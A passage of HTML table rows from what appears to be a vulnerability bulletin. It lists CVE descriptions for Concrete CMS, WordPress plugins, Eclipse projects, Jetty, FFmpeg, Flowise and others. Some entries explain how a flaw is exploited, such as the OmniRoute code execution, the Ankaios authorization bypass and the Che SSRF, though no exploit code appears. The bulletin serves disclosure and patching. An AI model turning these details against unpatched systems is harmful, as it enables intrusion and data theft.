&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81917&quot; target=&quot;_blank&quot;&gt;CVE-2026-81917&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS below 9.5.3 is vulnerable to Stored XSS via the Date Format field in the Page Attribute Display block. A user with edit_page_contents permissions could store a payload which executes in the browser of any visitor who viewed a page where the block was configured to display a date-type attribute.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 4.8 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:H/UI:P/VC:L/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Oriol Ortiz for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81918&quot; target=&quot;_blank&quot;&gt;CVE-2026-81918&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Concrete CMS--Concrete CMS&lt;/td&gt;
&lt;td&gt;Concrete CMS 9 through 9.5.2 did not validate an anti-CSRF token in the Boards custom slot dialog controller (concrete/controllers/dialog/board/custom_slot.php) saveTemplate() action. The action created a board_slot_proxy Block and dispatched an AddCustomSlotToBoardCommand against a board instance while gating only on the per-resource canEditBoardContents() permission, so a crafted cross-site request could cause a user holding board-edit permission with an active session to write attacker-chosen slot and template data to a board under their own authority. The state-changing database write completed before any downstream rendering, so the forged request succeeded even when the HTTP response returned a non-200 status.&amp;nbsp;The Concrete CMS security team gave this vulnerability a CVSS v4.0 score of 5.3 with vector CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:L/VA:N/SC:N/SI:N/SA:N. Thanks Winston Crooker for reporting.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84432&quot; target=&quot;_blank&quot;&gt;CVE-2026-84432&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Contact Form to Chat Apps | Click to Chat to Order--Contact Form to Chat Apps | Click to Chat to Order&lt;/td&gt;
&lt;td&gt;The Contact Form to Chat Apps | Click to Chat to Order WordPress plugin before 2.15.8 does not perform any capability, nonce or session check on one of its public AJAX actions, allowing unauthenticated users to read the submitted entries of any form created with a supported third-party form Contact Form to Chat Apps | Click to Chat to Order WordPress plugin before 2.15.8.&lt;/td&gt;
&lt;td&gt;2026-09-13&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77773&quot; target=&quot;_blank&quot;&gt;CVE-2026-77773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Content Mask--Content Mask&lt;/td&gt;
&lt;td&gt;The Content Mask WordPress plugin before 1.8.5.6 does not properly sanitise and escape content submitted with a post before outputting it in the pages it generates, allowing users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks against any user viewing or previewing the affected page. The Content Mask WordPress plugin before 1.8.5.6&#039;s option to restrict its use by role does not prevent this.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-15690&quot; target=&quot;_blank&quot;&gt;CVE-2025-15690&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CoolClock--CoolClock&lt;/td&gt;
&lt;td&gt;The CoolClock WordPress plugin before 4.3.8 does not properly escape a custom skin setting before outputting it inside an inline script, allowing users with contributor-level access and above to inject arbitrary JavaScript that executes when the content is viewed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83545&quot; target=&quot;_blank&quot;&gt;CVE-2026-83545&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CoolClock--CoolClock&lt;/td&gt;
&lt;td&gt;The CoolClock WordPress plugin before 4.3.8 does not properly escape a skin setting before outputting it within an HTML attribute, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when the content is viewed.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83546&quot; target=&quot;_blank&quot;&gt;CVE-2026-83546&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Custom Menu Wizard Widget--Custom Menu Wizard Widget&lt;/td&gt;
&lt;td&gt;The Custom Menu Wizard Widget WordPress plugin through 3.3.1 does not sanitize and escape several shortcode attributes before rendering them into HTML, allowing users with contributor-level access and above to inject arbitrary web scripts that execute when the affected content is viewed.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-83532&quot; target=&quot;_blank&quot;&gt;CVE-2026-83532&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;CyberELF--NanoXML&lt;/td&gt;
&lt;td&gt;The API is prone to XML external entity (XXE) injection. By default, XML external entity&amp;nbsp;support is enabled. This issue affects NanoXML: 2.2.3.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19614&quot; target=&quot;_blank&quot;&gt;CVE-2026-19614&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-ZERO CO.,LTD.--BurgerEditor&lt;/td&gt;
&lt;td&gt;BurgerEditor 3.0.0 through 3.4.0 contains an issue with authorization bypass through user-controlled key. If this vulnerability is exploited, the content of the page may be altered by an attacker who can log in to the product may be caused.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84062&quot; target=&quot;_blank&quot;&gt;CVE-2026-84062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;D-ZERO CO.,LTD.--BurgerEditor&lt;/td&gt;
&lt;td&gt;BurgerEditor 3.2.0 through 3.4.0 contains an issue with unrestricted upload of file with dangerous type. If this vulnerability is exploited, an arbitrary file may be uploaded by an attacker who can log in to the product, potentially allowing arbitrary PHP code to be executed may be caused.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84063&quot; target=&quot;_blank&quot;&gt;CVE-2026-84063&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Debian--live-boot&lt;/td&gt;
&lt;td&gt;live-boot ff8867c allows attackers to bypass the dm-verity-enforce-roothash-signature protection mechanism when the .verity file is missing.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89169&quot; target=&quot;_blank&quot;&gt;CVE-2026-89169&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;diegosouzapw--OmniRoute&lt;/td&gt;
&lt;td&gt;OmniRoute is an open-source AI gateway providing a single endpoint for multiple model providers. In 3.8.49 and earlier, the OmniRoute POST /api/acp/agents custom ACP agent endpoint accepted attacker-controlled binary and versionCommand values and used only a self-consistency check before execFileSync executed the selected interpreter and arguments. The same request called refreshAgentCache, and resolveVersionProbe accepted the matched command before the execFileSync sink ran it. The tokenizeVersionCommand function and DISALLOWED_VERSION_COMMAND_CHARS filter rejected a limited set of shell metacharacters but still allowed interpreter evaluation arguments. The isAuthenticated function relied on isAuthRequired, which accepted anonymous requests when requireLogin was false, while api/acp/ was absent from LOCAL_ONLY_API_PREFIXES and SPAWN_CAPABLE_PREFIXES. With requireLogin=false or during a fresh-instance bootstrap window, a remote anonymous request could supply an interpreter evaluation argument and execute arbitrary code in the server container. With requireLogin=true and a configured management password, exploitation instead required a management session or management-scoped API key. No fixed version is available as of this review.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88062&quot; target=&quot;_blank&quot;&gt;CVE-2026-88062&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Digital-Infrastructure--Digital-Infrastructure&lt;/td&gt;
&lt;td&gt;An issue in the Single-Sign On (SSO) component of Digital-Infrastructure v9.6.7 allows attackers to authenticate as any user, including the Admin, without a password.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79576&quot; target=&quot;_blank&quot;&gt;CVE-2026-79576&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Distribution Management--Distribution Management&lt;/td&gt;
&lt;td&gt;An XXE (XML External Entity) vulnerability in the level-rule module of Distribution Management v1.0.0 allows attackers to read sensitive files, scan internal networks, or launch server attacks via supplying a crafted XML payload.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-79572&quot; target=&quot;_blank&quot;&gt;CVE-2026-79572&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Docmost--Docmost v0.21.0&lt;/td&gt;
&lt;td&gt;Path Traversal in avatar attachments in Docmost v0.21.0 allows an unauthenticated malicious actor to disclose local files via a POST Request in a public url.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2025-57231&quot; target=&quot;_blank&quot;&gt;CVE-2025-57231&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;drEryk--drEryk Gabinet&lt;/td&gt;
&lt;td&gt;DrEryk Gabinet before 11.5.0&amp;nbsp;uses hard-coded API credentials in its ticket reporting component. These credentials can be used to authenticate directly to the ticket system API. This allows an attacker to perform privileged operations beyond what is offered by the application, including reading and modifying tickets.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-17038&quot; target=&quot;_blank&quot;&gt;CVE-2026-17038&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;DS Ad Rotator--DS Ad Rotator&lt;/td&gt;
&lt;td&gt;The DS Ad Rotator WordPress plugin through 0.8 does not perform any capability check, nonce verification, or file-type validation on its image upload handler, allowing unauthenticated attackers to upload arbitrary files, including PHP, to a web-accessible directory, which can lead to remote code execution.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81402&quot; target=&quot;_blank&quot;&gt;CVE-2026-81402&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse aeriOS&lt;/td&gt;
&lt;td&gt;In the current development version of Eclipse aeriOS, for which no official release has yet been published, the Identity Manager (IdM) deployment included insecure default configurations and credentials for security-sensitive services. The Helm chart exposed the Keycloak service and its PostgreSQL backing database through Kubernetes NodePort services by default, while the Docker Compose deployment similarly exposed PostgreSQL on all network interfaces. The deployment included fixed default credentials for the Keycloak administrator and PostgreSQL database user, and the previous Helm chart configuration did not provide adequate secret management for these credentials. In addition, predefined application users with known credentials were provided for development and testing without sufficiently warning operators against their use in production environments. An attacker able to reach the exposed services could use the published default credentials to obtain administrative access to the Identity Manager or direct access to its database. This could allow unauthorized access to or modification of identity-management data, including users, roles, client credentials, sessions, and cryptographic material, and could enable the creation of privileged identities or tokens accepted by other aeriOS components. The issue has been addressed by generating a random Keycloak administrator password by default, managing Keycloak and PostgreSQL credentials through Kubernetes Secrets, and restricting PostgreSQL to an internal service in both the Helm chart and Docker Compose deployment. OpenLDAP is also restricted to an internal service. The predefined users intended for development and testing are retained, but the documentation now explicitly warns that their default credentials must not be used in production and that these users should be removed or their credentials changed after installation.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86464&quot; target=&quot;_blank&quot;&gt;CVE-2026-86464&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Ankaios&lt;/td&gt;
&lt;td&gt;In Eclipse Ankaios versions v0.5.1 through v1.0.1, the agent-side Control Interface authorizer incorrectly evaluates multi-segment allow rules whose first path segment is a wildcard. An authenticated workload with access restricted by such a rule can submit a CompleteStateRequest or UpdateStateRequest with an empty field mask. The request may then be incorrectly authorized as matching the scoped rule, allowing the workload to read the complete cluster state or replace state outside its authorized subtree. This may result in unauthorized disclosure or modification of other workloads and cluster configuration. Only a rule consisting solely of * is intended to authorize an empty mask. Mitigation: Until an update containing the fix is installed, avoid multi-segment Control Interface allow-rule filter masks that begin with a wildcard, such as *.workloads.some_workload. Replace them with explicit paths such as desiredState.workloads.some_workload, where applicable. A filter mask consisting solely of * has different, intentionally unrestricted semantics and should only be used when full-state access is intended.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84173&quot; target=&quot;_blank&quot;&gt;CVE-2026-84173&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Ankaios&lt;/td&gt;
&lt;td&gt;In Eclipse Ankaios versions 0.1.0 through 1.0.1, the agent does not limit the length declared by a workload in a length-delimited protobuf message received through the Control Interface FIFO. A workload granted Control Interface access can specify an excessive message length, causing an unbounded memory allocation that may abort the Ankaios agent process. This results in loss of orchestration services for workloads managed by the affected agent.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85201&quot; target=&quot;_blank&quot;&gt;CVE-2026-85201&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Che&lt;/td&gt;
&lt;td&gt;In Eclipse Che versions 7.79.0 through 7.121.0, the dashboard backend&#039;s POST /dashboard/api/data/resolver endpoint passes a caller-supplied URL directly to an outbound HTTP GET request with no host filtering. An authenticated user can exploit this server-side request forgery (SSRF) to read responses from internal network addresses, including the cloud instance metadata service (169.254.169.254), loopback interfaces, RFC-1918 private ranges, and in-cluster Kubernetes services. The operator-configured allowlist (spec.devEnvironments.allowedSources.urls) is not consulted. The vulnerability is fixed in version 7.122.0, which adds private-address blocking, IPv4-mapped IPv6 bypass prevention, operator allowlist enforcement, and disables HTTP redirects on the outbound request.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86590&quot; target=&quot;_blank&quot;&gt;CVE-2026-86590&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Ditto&lt;/td&gt;
&lt;td&gt;In Eclipse Ditto&#039;s Node.js JavaScript client, all released versions of @eclipse-ditto/ditto-javascript-client-node from 2.0.0 to 3.9.0 and of its predecessor package @eclipse-ditto/ditto-javascript-client-node_1.0 from 1.0.0 to 2.1.0, the WebSocket transport hard-codes rejectUnauthorized: false when creating the underlying ws WebSocket. Certificate chain and hostname validation are therefore disabled for every wss:// connection, and no builder option, constructor argument or environment variable lets an application turn validation back on. An attacker in a position to intercept the connection can present an arbitrary certificate, complete the TLS handshake, read the credentials that the configured authentication provider sends in the Authorization header of the WebSocket upgrade request, and read, alter or inject Ditto Protocol messages for the lifetime of the connection. The Java client, the browser/DOM JavaScript client and the HTTP transport of the Node.js client are not affected.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-84197&quot; target=&quot;_blank&quot;&gt;CVE-2026-84197&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Jetty&lt;/td&gt;
&lt;td&gt;A client may issue HTTP/2 requests to a Jetty server that result in blocking writes that are never unblocked, eventually causing all threads to be blocked and the whole server to become unresponsive. This is caused by a race condition in the server when handling RST_STREAM frames and GOAWAY frames sent by the client. The race condition &quot;resets&quot; the HTTP2Flusher.terminated, previously set to a non-null value, to the null value, allowing entries to be enqueued in the flusher that however will never be processed. These unprocessed entries are the ones that would unblock the write-blocked threads.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12611&quot; target=&quot;_blank&quot;&gt;CVE-2026-12611&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Jetty&lt;/td&gt;
&lt;td&gt;A client may issue specially crafted HTTP/1.1 chunked requests to a Jetty server that cause Jetty and an intermediary proxy to interpret different request boundaries, potentially resulting in HTTP request smuggling. This is caused by Jetty accepting a lone LF character as a terminator in parts of chunked request parsing. Depending on the Jetty version and configured HTTP compliance mode, this may occur in chunk extensions, chunk data termination, or trailer termination.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19203&quot; target=&quot;_blank&quot;&gt;CVE-2026-19203&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Eclipse Foundation--Eclipse Jetty&lt;/td&gt;
&lt;td&gt;A client may send a WebSocket frame with an unknown opcode and a very large declared payload length, causing Jetty to attempt a large memory allocation and potentially exhaust the JVM heap. This occurs when auto-fragmentation is enabled, as unknown opcodes bypass the normal maximum frame size handling and payload allocation occurs before the opcode is validated.&lt;/td&gt;
&lt;td&gt;2026-09-07&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-19204&quot; target=&quot;_blank&quot;&gt;CVE-2026-19204&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ELEX WooCommerce Request a Quot--ELEX WooCommerce Request a Quote&lt;/td&gt;
&lt;td&gt;The ELEX WooCommerce Request a Quote WordPress plugin before 2.4.1 does not properly sanitise and escape a parameter before using it in a SQL query, allowing unauthenticated users to perform SQL injection attacks and extract arbitrary data from the database.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14962&quot; target=&quot;_blank&quot;&gt;CVE-2026-14962&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ESET spol. s.r.o.--ESET AV Remover (standalone)&lt;/td&gt;
&lt;td&gt;Improper Privilege Management vulnerability in ESET AV Remover (standalone) allows Privilege Escalation via especially crafted RPC.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-12858&quot; target=&quot;_blank&quot;&gt;CVE-2026-12858&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Everpure--Portworx Operator&lt;/td&gt;
&lt;td&gt;A privilege-escalation issue in the Portworx Operator when deployed on Red Hat OpenShift (OCP). Only under specific conditions during the initial provisioning of a Portworx storage cluster, a user holding only limited, namespace-scoped permissions could cause the operator to grant broader access than intended, potentially resulting in elevated privileges within the Kubernetes cluster.&lt;/td&gt;
&lt;td&gt;2026-09-09&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-15140&quot; target=&quot;_blank&quot;&gt;CVE-2026-15140&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Export &amp;amp; Import WPBakery Page Builder--Export &amp;amp; Import WPBakery Page Builder&lt;/td&gt;
&lt;td&gt;The Export &amp;amp; Import WPBakery Page Builder WordPress plugin through 1.0.2 does not perform any CSRF check on its template-import feature and does not sanitise the imported data before storing it and echoing it back, allowing attackers to make a logged-in administrator import a crafted template via a forged request that results in Stored Cross-Site Scripting executed in the administrator&#039;s session.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-81429&quot; target=&quot;_blank&quot;&gt;CVE-2026-81429&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FairSketch Rise CRM--FairSketch Rise CRM v 3.9.6&lt;/td&gt;
&lt;td&gt;FairSketch Rise CRM Version 3.9.6 is vulnerable to Cross Site Scripting (XSS). An authenticated administrator can inject arbitrary JavaScript into an item&#039;s title, which is stored server-side and executed in the browser of any client user who visits the store page, enabling session hijacking, account takeover, and phishing.&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-36392&quot; target=&quot;_blank&quot;&gt;CVE-2026-36392&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Featured Image with URL--Featured Image with URL&lt;/td&gt;
&lt;td&gt;The Featured Image with URL WordPress plugin before 1.0.6 does not sanitise and escape a stored image attribute value before outputting it, which could allow users with a role as low as Contributor to perform Stored Cross-Site Scripting attacks that execute in the browser of any user viewing the affected post, including higher-privileged users such as Editors and Administrators.&lt;/td&gt;
&lt;td&gt;2026-09-11&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86780&quot; target=&quot;_blank&quot;&gt;CVE-2026-86780&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FFmpeg--FFmpeg&lt;/td&gt;
&lt;td&gt;A memory corruption vulnerability exists in FFmpeg before 8.1. The RTP encoding process. In the nal_send function in libavformat/rtpenc_h264_hevc.c, a negative size parameter (size=-3) is passed to memcpy when transmitting H.264/HEVC streams via RTP using a crafted input file. This was detected using AddressSanitizer.&lt;/td&gt;
&lt;td&gt;2026-09-08&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-30754&quot; target=&quot;_blank&quot;&gt;CVE-2026-30754&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Flowise--Flowise 3.1.2&lt;/td&gt;
&lt;td&gt;An issue in Flowise 3.1.2 allows a remote attacker to execute arbitrary code via the /api/v1/prediction/&amp;lt;flowId&amp;gt; endpoint&lt;/td&gt;
&lt;td&gt;2026-09-10&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-52098&quot; target=&quot;_blank&quot;&gt;CVE-2026-52098&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise before 3.1.4 contains a broken access control vulnerability in GET /api/v1/organizationuser that allows any authenticated organization member to retrieve the organization owner&#039;s full user record including bcrypt password hash and temporary tokens. Attackers can query the endpoint with any user ID to obtain the owner&#039;s credential hash for offline cracking, enabling account takeover of the highest-privileged account.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90533&quot; target=&quot;_blank&quot;&gt;CVE-2026-90533&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise is a low-code platform for building LLM applications. In versions up to and including 3.1.3, the POST /api/v1/node-load-method/:name endpoint is mounted without any route-level permission check and invokes component loadMethods with an attacker-controlled nodeName, loadMethod, inputs, and credential value. The selected credential is resolved by raw Credential.id via getCredentialData() and decrypted without verifying Credential.workspaceId against the caller&#039;s active or shared workspace, unlike other credential read paths which are workspace-scoped. As a result, an authenticated low-privilege user (or workspace API key) in one workspace can supply a credential ID owned by another workspace and cause Flowise to act as a confused deputy, performing third-party provider calls with the victim workspace&#039;s credential and returning provider metadata to the attacker. Statically identified affected load methods include Google Drive listFiles, Google Sheets listSpreadsheets, and AWS DynamoDB KV Storage listTables. The raw credential secret itself is not returned to the attacker. This issue is fixed in version 3.1.4.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90534&quot; target=&quot;_blank&quot;&gt;CVE-2026-90534&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;FlowiseAI--Flowise&lt;/td&gt;
&lt;td&gt;Flowise versions before 3.1.4 contain an unauthenticated denial of service vulnerability in the /api/v1/text-to-speech/abort endpoint that accepts user-supplied chatflowId and chatId without ownership verification. Attackers can terminate active chatflow predictions for any user by submitting requests with known chatflow and chat identifiers, causing targeted service disruption.&lt;/td&gt;
&lt;td&gt;2026-09-12&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90535&quot; target=&quot;_blank&quot;&gt;CVE-2026-90535&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;fluxcd--source-controller&lt;/td&gt;
